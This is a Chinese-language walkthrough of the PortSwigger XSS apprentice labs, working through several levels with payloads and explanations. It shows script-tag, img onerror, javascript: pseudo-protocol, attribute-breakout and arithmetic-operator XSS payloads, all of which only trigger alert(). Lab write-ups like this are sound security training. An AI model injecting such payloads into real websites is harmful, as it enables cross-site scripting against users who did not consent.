Postswigger 靶场 XSS 通关

PostSwigger靶场XSS通关

靶场地址:All labs | Web Security Academy (portswigger.net)

学徒:第一关

<script>alert(/wuhu/)</script>

image-20230826114131596

image-20230826114056603

学徒:第二关

在页面上没有输入框,进入到博客中查看。

在博客的留言版中输入我们的攻击代码

<script>alert(/wuhu/)</script>

image-20230826143357901

点击返回博客

image-20230826143413810

成功弹框

image-20230826143421127

学徒:第三关

输入攻击代码查看页面反应

<script>alert(/wuhu/)</script>

image-20230826144805799

发现我们的攻击代码被传递到了img标签中,这里我们可以尝试将该标签闭合。

构造攻击代码:

"> <script>alert(/wuhu/)</script>

image-20230826144915096

学徒:第四关

输入参数查看页面反应

wuhu

image-20230826150215300

页面没有任何响应,查看网页源代码

image-20230826150101632

发现我们的攻击代码被传入到了一个span标签中,构造攻击代码

<script>alert(/wuhu/)</script>

页面还是没有弹窗,怀疑这里将script标签过滤了

image-20230826150328096

重新构造攻击代码

<img src='#' onerror='alert(/wuhu/)'>
<img src='#' onclick='alert(/wuhu/)'>

image-20230826151451280

学徒:第五关

发现页面中多了一个提交反馈

image-20230826153720896

进入到提交反馈页面

image-20230826153814013

在message中输入构造的攻击代码

<script>alert(/wuhu/)</script>

发现页面没有任何反应,查看页面提示

image-20230826153942439

这里让我们更改href属性。没什么思路,查看一下页面源代码

image-20230826154055443

观察发现,参数returnPath的值会回显到href属性中,底下的script中的代码也验证了。

image-20230826154210528

image-20230826154219533

构造我们的攻击代码

javascript:alert(/wuhu/)

image-20230826154349063

image-20230826154417823

学徒:第六关

学徒:第七关

在输入框输入攻击代码,观察页面反应

<script>alert(/wuhu/)</script>

image-20230826155602724页面将我们输入的攻击代码传递到了input标签的value参数中。

image-20230826155639226

这里我们可以将value参数闭合,然后添加一个响应事件。

构造我们的攻击代码:

" onmouseover = 'alert(/wuhu/)'

image-20230826155440023

学徒:第八关

第八关的提示

image-20230826155951718

提示我们需要提交一个评论,然后在点击评论作者名称的时候调用报警函数。

先提交一个普通的攻击代码查看页面反应。

<script>alert(/wuhu/)</script>

image-20230826160253854

找到了注入点位置,在a标签的href中,那么我们就可以构造攻击代码了,这里采用伪协议的方式,在Website中来构造攻击代码

javascript:alert('http://')

image-20230826160426651

然后点击我们的提交评论的名字即可弹框。

image-20230826160652359

学徒:第九关

输入基础攻击代码,查看页面响应

<script>alert(/wuhu/)</script>

image-20230826165426360

查看页面源代码发现尖括号,反斜杠,单引号,双引号已经被编码了。

那么可以使用中划线/减号,也就是说减号两边的对象也是会先作为js执行,毕竟要先得到两边的值才能进行算数计算。

'-alert(666)-'

因此除了减号,其他数学运算符号和位运算符号也可以,后面绕过XSS的思路就更多了。

'+alert(1)+'
'/alert(1)/'
'%alert(1)%'
'*alert(1)*'
'^alert(1)^'
'>>alert(1)>>'
'<<alert(1)<<'
'<alert(1)<'
'>alert(1)>'
'==alert(1)=='

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2023-12-13 11:14:02       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2023-12-13 11:14:02       100 阅读
  3. 在Django里面运行非项目文件

    2023-12-13 11:14:02       82 阅读
  4. Python语言-面向对象

    2023-12-13 11:14:02       91 阅读

热门阅读

  1. React-hook-form-mui (一):基本使用

    2023-12-13 11:14:02       52 阅读
  2. c#面试基础语法——ref、out、using关键字

    2023-12-13 11:14:02       57 阅读
  3. AI视觉检测在制造业缺陷检测中的运用

    2023-12-13 11:14:02       57 阅读
  4. 拓扑排序实现循环依赖判断 | 京东云技术团队

    2023-12-13 11:14:02       62 阅读
  5. C++友元函数和友元类(C++ friend关键字)

    2023-12-13 11:14:02       56 阅读
  6. C++ 学习系列 -- conversion function

    2023-12-13 11:14:02       52 阅读
  7. 接口优化思路 - 接口防抖

    2023-12-13 11:14:02       50 阅读
  8. day14 二叉树(一)

    2023-12-13 11:14:02       62 阅读
  9. Qt 面试指南

    2023-12-13 11:14:02       46 阅读